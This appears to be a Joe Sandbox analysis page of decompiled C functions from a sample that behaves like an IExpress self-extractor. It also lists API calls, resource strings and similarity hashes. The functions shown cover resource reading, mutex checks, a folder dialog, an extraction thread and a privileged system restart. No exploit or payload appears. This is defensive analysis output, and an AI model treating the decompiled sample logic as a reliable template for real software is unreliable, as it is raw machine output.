0x010d1fda
0x00000000
0x00000000
0x00000000
0x010d1fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 010D1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 010D1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 010D1FD3

Strings

SeShutdownPrivilege, xrefs: 010D1F28

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 0eaeaa5b9f4954a4819a8a180eacda5e12447abd22f1dec901bc0ccd3a868f4d
Instruction ID: b59a6de032dd9c229f4e34e3385ef1aeedafa399fab3332b1defc4892c7bed3a
Opcode Fuzzy Hash: 0eaeaa5b9f4954a4819a8a180eacda5e12447abd22f1dec901bc0ccd3a868f4d
Instruction Fuzzy Hash: B02124B1B41305BBDB309AA5DC49FBF7AF8EB85B10F100098FA82E7085DF7A84408361

Uniqueness

Uniqueness Score: -1.00%

Function 010D6CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D6CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x010d6cf7
0x010d6d00
0x010d6d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,010D6E26,010D1000), ref: 010D6CF7
UnhandledExceptionFilter.KERNEL32(010D6E26,?,010D6E26,010D1000), ref: 010D6D00
GetCurrentProcess.KERNEL32(C0000409,?,010D6E26,010D1000), ref: 010D6D0B
TerminateProcess.KERNEL32(00000000,?,010D6E26,010D1000), ref: 010D6D12

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 606a5ce0b780926854fccb197424ac30f5bf9f12aa1b0f54b92ecdf0e281bc69
Instruction ID: 295ea596412ff2cb4873167e73470c175cb90cb7fcf53ba21d76227c7b83a1ba
Opcode Fuzzy Hash: 606a5ce0b780926854fccb197424ac30f5bf9f12aa1b0f54b92ecdf0e281bc69
Instruction Fuzzy Hash: CAD0123A201108FBDB202BF1E80CA593F28FB48393F444000FB5D83004CB3B4451CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010D2CAA Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010D2CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x10d9a3c = __ecx;
				memset(0x10d9140, 0, 0x8fc);
				memset(0x10d8a20, 0, 0x32c);
				memset(0x10d88c0, 0, 0x104);
				 *0x10d93ec = 1;
				_t20 = E010D468F("TITLE", 0x10d9154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x10d858c = _t27;
					SetEvent(_t27);
					_t64 = 0x10d9a34;
					if(E010D468F("EXTRACTOPT", 0x10d9a34, 4) != 0) {
						if(( *0x10d9a34 & 0x000000c0) == 0) {
							L12:
							 *0x10d9120 =  *0x10d9120 & _t65;
							if(E010D5C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x10d8a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x10d8184 != 0) {
										__imp__#17();
									}
									if( *0x10d8a24 == 0) {
										_t57 = _t65;
										if(E010D36EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x10d9a40;
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x10d9a34 & 0x00000100) == 0 || ( *0x10d8a38 & 0x00000001) != 0 || E010D18A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E010D6517(_t57, 0x7d6, _t34, E010D19E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E010D2390(0x10d8a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E010D44B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E010D468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x10d8588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x10d9a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E010D44B9(0, 0x524, 0x10d9154, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E010D44B9(0, 0x54b, 0x10d9154, 0, 0x10, 0);
										L11:
										CloseHandle( *0x10d8588);
										 *0x10d9124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E010D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x10d9124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E010D6CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x010d2cb5
0x010d2cbc
0x010d2cc7
0x010d2cc9
0x010d2cd1
0x010d2cd3
0x010d2cd9
0x010d2ce9
0x010d2cf9
0x010d2d0e
0x010d2d15
0x010d2d1c
0x010d2ef3
0x00000000
0x010d2d2d
0x010d2d34
0x010d2d3b
0x010d2d40
0x010d2d48
0x010d2d59
0x010d2d84
0x010d2e1f
0x010d2e1f
0x010d2e2e
0x010d2e41
0x010d2e5a
0x010d2e62
0x010d2e6c
0x010d2e6c
0x010d2e75
0x010d2e77
0x010d2e77
0x010d2e84
0x010d2e8b
0x010d2e94
0x00000000
0x010d2e96
0x010d2e96
0x010d2e9e
0x010d2ea2
0x010d2eba
0x00000000
0x010d2ece
0x010d2ede
0x010d2eed
0x00000000
0x00000000
0x00000000
0x00000000
0x010d2eed
0x010d2eef
0x010d2eef
0x010d2eef
0x010d2eef
0x010d2ea2
0x010d2e86
0x010d2e88
0x010d2e88
0x010d2e43
0x010d2e48
0x00000000
0x010d2e48
0x010d2e30
0x010d2e30
0x010d2ef8
0x010d2f01
0x00000000
0x010d2f01
0x010d2d8a
0x010d2d8f
0x010d2da1
0x00000000
0x010d2da3
0x010d2dae
0x010d2db4
0x010d2dbb
0x00000000
0x010d2dca
0x010d2dd3
0x010d2df5
0x010d2e02
0x00000000
0x00000000
0x00000000
0x00000000
0x010d2dd5
0x010d2dde
0x010d2de3
0x010d2e04
0x010d2e0a
0x010d2e10
0x00000000
0x010d2e10
0x010d2dd3
0x010d2dbb
0x010d2da1
0x010d2d5b
0x010d2d5b
0x010d2d5d
0x010d2d69
0x010d2d6e
0x010d2f06
0x010d2f06
0x010d2f06
0x010d2d59
0x010d2f18

APIs

memset.MSVCRT ref: 010D2CD9
memset.MSVCRT ref: 010D2CE9
memset.MSVCRT ref: 010D2CF9

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 010D2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 010D2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 010D2DBD
CloseHandle.KERNEL32(010D9154,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 010D2E0A

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Strings

VERCHECK, xrefs: 010D2E54
TITLE, xrefs: 010D2D09
EXTRACTOPT, xrefs: 010D2D4D
INSTANCECHECK, xrefs: 010D2D95

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 1002816675-2113404272
Opcode ID: cd211f050a133d3c0b06d74603606dcbe44f4a5ddf02d523012a6113a665b5e6
Instruction ID: 580bad3d8bc054534bbc3f33c2a6629aad03abbd9d0bfe74aca4934ca9a73c1d
Opcode Fuzzy Hash: cd211f050a133d3c0b06d74603606dcbe44f4a5ddf02d523012a6113a665b5e6
Instruction Fuzzy Hash: 6A512B70341302ABF770A679DD4AB7B3AD8EB55704F008469FEC1D61C9DBB98841C725

Uniqueness

Uniqueness Score: -1.00%

Function 010D4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E010D4224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E010D44B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x10d88c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x10d87a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x10d8598;
					_v36 = 1;
					_v32 = E010D4200;
					_v28 = 0x10d88c0;
					 *0x10da288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x10da288(_t32, 0x10d88c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x10d88c0 != 0) {
							E010D1680(0x10d87a0, 0x104, 0x10d88c0);
						}
						 *0x10da288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x10d87a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x10d88c0);
					_t61 = 0x10d88c0;
					_t4 =  &(_t61[1]); // 0x10d88c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x10d88c0; // 0x21b1181
					_t44 = CharPrevA(0x10d88c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x10d88c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x010d4234
0x010d423c
0x010d4240
0x010d43b2
0x010d43b7
0x010d43c0
0x00000000
0x010d43c5
0x010d424c
0x010d4252
0x010d4257
0x010d43a4
0x010d43a5
0x010d43ab
0x00000000
0x010d43ab
0x010d4263
0x010d4269
0x010d426e
0x00000000
0x00000000
0x010d427a
0x010d4280
0x010d4285
0x00000000
0x00000000
0x010d428d
0x010d4293
0x010d42e6
0x010d42e9
0x010d42ef
0x010d42f4
0x010d42f7
0x010d4300
0x010d4307
0x010d430e
0x010d4315
0x010d431c
0x010d4322
0x010d4326
0x010d432d
0x010d432d
0x010d432f
0x010d4334
0x010d4343
0x010d4349
0x010d434d
0x010d4354
0x010d4354
0x010d435d
0x010d436e
0x010d436e
0x010d437d
0x010d4383
0x010d4387
0x010d438e
0x010d438e
0x010d4387
0x010d4391
0x010d4399
0x00000000
0x010d4295
0x010d429f
0x010d42a5
0x010d42aa
0x010d42aa
0x010d42ad
0x010d42ad
0x010d42af
0x010d42b0
0x010d42b6
0x010d42c2
0x010d42c8
0x010d42ce
0x010d42e4
0x010d42e4
0x00000000
0x010d42ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 010D4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 010D424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 010D4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 010D427A
GetTempPathA.KERNEL32(00000104,010D88C0,?,00000001), ref: 010D429F
CharPrevA.USER32(010D88C0,021B1181,?,00000001), ref: 010D42C2
CharPrevA.USER32(010D88C0,00000000,?,00000001), ref: 010D42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 010D4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 010D43A5

Strings

SHBrowseForFolder, xrefs: 010D4246
SHELL32.DLL, xrefs: 010D422F
SHGetPathFromIDList, xrefs: 010D4274

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: e53ed14191c456ed277d982ba861dde10ca10329ffd741199efddac26fc228a9
Instruction ID: 248a21b21e9344f94b954a62521cb2cc0a0476c9b1b64f9f70d58a362f4d2f6d
Opcode Fuzzy Hash: e53ed14191c456ed277d982ba861dde10ca10329ffd741199efddac26fc228a9
Instruction Fuzzy Hash: B241E974A01354EFE721AF79E8859BE7FB4EB45344F0481AAEDC1E7245CB798901CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010D3210 Relevance: 19.7, APIs: 13, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E010D3210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				void* _t20;
				char _t23;
				char _t24;
				void* _t34;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				char* _t59;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E010D43D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, 0x10d9154);
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					if( *0x10d9a40 == _t42) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					if(_t20 == 0) {
						if(GetDlgItemTextA(_t64, 0x835, 0x10d91e4, 0x104) == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E010D44B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x10d91e4;
						_t4 =  &(_t49[1]); // 0x10d91e5
						_t59 = _t4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
						} while (_t23 != 0);
						if(_t49 - _t59 < 3) {
							goto L32;
						}
						_t24 =  *0x10d91e5;
						if(_t24 == 0x3a ||  *0x10d91e4 == 0x5c && _t24 == 0x5c) {
							if(GetFileAttributesA(0x10d91e4) != 0xffffffff) {
								L26:
								E010D658A(0x10d91e4, 0x104, 0x10d1140);
								if(E010D58C8(0x10d91e4) != 0) {
									if( *0x10d91e4 != 0x5c ||  *0x10d91e5 != 0x5c) {
										if(E010D597D(0x10d91e4, 1, _t64, 1) == 0) {
											L35:
											_t42 = 1;
											goto L36;
										}
										goto L31;
									} else {
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							if(E010D44B9(_t64, 0x54a, 0x10d91e4, 0, 0x20, 4) != 6) {
								goto L35;
							}
							if(CreateDirectoryA(0x10d91e4, 0) != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x10d91e4);
							_t58 = 0x4cb;
							goto L25;
						} else {
							goto L32;
						}
					}
					_t34 = _t20 - 1;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x10d9124 = 0x800704c7;
						goto L39;
					}
					if(_t34 != 0x834) {
						goto L36;
					}
					if(LoadStringA( *0x10d9a3c, 0x3e8, 0x10d8598, 0x200) != 0) {
						if(E010D4224(_t64, _t46, _t46) == 0 || SetDlgItemTextA(_t64, 0x835, 0x10d87a0) != 0) {
							goto L36;
						} else {
							_t63 = 0x4c0;
							L9:
							E010D44B9(_t64, _t63, 0, 0, 0x10, 0);
							_push(0);
							goto L38;
						}
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x010d321b
0x010d321e
0x010d3221
0x010d343c
0x010d343e
0x010d343f
0x010d3445
0x00000000
0x010d3447
0x010d3229
0x010d322a
0x010d322f
0x010d33ec
0x010d33f7
0x010d3410
0x010d341d
0x010d342d
0x010d342d
0x010d3438
0x00000000
0x010d3438
0x010d3237
0x010d3243
0x010d3246
0x010d32f6
0x010d33d4
0x010d33d6
0x010d33db
0x010d33dc
0x010d33de
0x010d33df
0x010d3370
0x010d3372
0x00000000
0x010d3372
0x010d32fc
0x010d32fe
0x010d32fe
0x010d3301
0x010d3301
0x010d3303
0x010d3304
0x010d330d
0x00000000
0x00000000
0x010d3313
0x010d331a
0x010d333d
0x010d337c
0x010d3388
0x010d3396
0x010d33ab
0x010d33c5
0x010d3435
0x010d3437
0x00000000
0x010d3437
0x00000000
0x010d33c7
0x010d33c7
0x010d33c9
0x010d33cc
0x00000000
0x010d33cc
0x010d33ab
0x010d3398
0x010d3399
0x010d339b
0x010d339c
0x010d339d
0x00000000
0x010d339d
0x010d3354
0x00000000
0x00000000
0x010d3364
0x00000000
0x00000000
0x010d3366
0x010d3367
0x010d3369
0x010d336a
0x010d336b
0x00000000
0x00000000
0x00000000
0x00000000
0x010d331a
0x010d324c
0x010d324f
0x010d32c8
0x010d32ce
0x00000000
0x010d32ce
0x010d3256
0x00000000
0x00000000
0x010d3279
0x010d329f
0x00000000
0x010d32be
0x010d32be
0x010d3280
0x010d3289
0x010d328e
0x00000000
0x010d328e
0x010d329f
0x010d327b
0x00000000
0x010d327b
0x00000000

APIs

LoadStringA.USER32(000003E8,010D8598,00000200), ref: 010D3271
GetDesktopWindow.USER32 ref: 010D33E2
SetWindowTextA.USER32(?,010D9154), ref: 010D33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 010D3410
GetDlgItem.USER32(?,00000836), ref: 010D3426
EnableWindow.USER32(00000000), ref: 010D342D
EndDialog.USER32(?,00000000), ref: 010D343F

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID:
API String ID: 2418873061-0
Opcode ID: 4dac7e142efa71f99b6906d00a97c6df715d6b6ee929a163218919be01644728
Instruction ID: 5e6686feb51dd231202e50faf35146d2fa475f071fb5aaf76a044f0955abef9a
Opcode Fuzzy Hash: 4dac7e142efa71f99b6906d00a97c6df715d6b6ee929a163218919be01644728
Instruction Fuzzy Hash: 595107B4382351B6EB725A799C4CFBF2D99FB46B54F008028FAC59E1C5CEAD9401C362

Uniqueness

Uniqueness Score: -1.00%

Function 010D34F0 Relevance: 19.6, APIs: 13, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E010D34F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x10d91d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x10d8584 = _t35;
					E010D43D0(_t35, GetDesktopWindow());
					__eflags =  *0x10d8184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, 0x10d9154);
					_t17 = CreateThread(0, 0, E010D4FE0, 0, 0, 0x10d8798);
					 *0x10d879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E010D44B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x10d858c);
					_t38 =  *0x10d8584; // 0x0
					_t25 = E010D44B9(_t38, 0x4b2, 0x10d1140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x10d91d8 = 1;
						SetEvent( *0x10d858c);
						_t39 =  *0x10d879c; // 0x0
						E010D3680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x10d858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x10d879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x010d34fb
0x010d34fe
0x010d3665
0x010d3666
0x010d3666
0x010d3668
0x010d366e
0x010d366e
0x010d3671
0x010d3671
0x010d3677
0x00000000
0x010d3677
0x010d3504
0x010d3506
0x010d3507
0x010d350c
0x010d365b
0x010d365f
0x00000000
0x00000000
0x00000000
0x010d3661
0x010d3512
0x010d3515
0x010d35be
0x010d35c1
0x010d35d1
0x010d35d8
0x010d35de
0x010d35f8
0x010d3617
0x010d3617
0x010d3623
0x010d3637
0x010d363d
0x010d3642
0x010d3644
0x00000000
0x010d3646
0x010d3652
0x010d3657
0x010d3658
0x00000000
0x010d3658
0x010d3644
0x010d351b
0x010d351d
0x010d354f
0x010d3553
0x00000000
0x00000000
0x010d355f
0x010d3565
0x010d357c
0x010d3581
0x010d3584
0x010d359b
0x010d35a1
0x010d35a7
0x010d35ad
0x010d35b3
0x010d35b8
0x00000000
0x010d35b8
0x010d3586
0x010d3588
0x00000000
0x00000000
0x010d3590
0x00000000
0x010d3590
0x010d3524
0x010d3535
0x010d3541
0x00000000
0x010d3549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 010D3535
EndDialog.USER32(?,?), ref: 010D3541
ResetEvent.KERNEL32 ref: 010D355F
SetEvent.KERNEL32(010D1140,00000000,00000020,00000004), ref: 010D3590
GetDesktopWindow.USER32 ref: 010D35C7
GetDlgItem.USER32(?,0000083B), ref: 010D35F1
SendMessageA.USER32(00000000), ref: 010D35F8
GetDlgItem.USER32(?,0000083B), ref: 010D3610
SendMessageA.USER32(00000000), ref: 010D3617
SetWindowTextA.USER32(?,010D9154), ref: 010D3623
CreateThread.KERNEL32 ref: 010D3637
EndDialog.USER32(?,00000000), ref: 010D3671

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID:
API String ID: 2406144884-0
Opcode ID: 2b2a6d753750479d1c0aeecbf8926018f4b0d9738d5303bade9951613f59816d
Instruction ID: 136d5c9b1050aef816db2b6264793d6e65d5da7bbf0b208419ae267604c8ca81
Opcode Fuzzy Hash: 2b2a6d753750479d1c0aeecbf8926018f4b0d9738d5303bade9951613f59816d
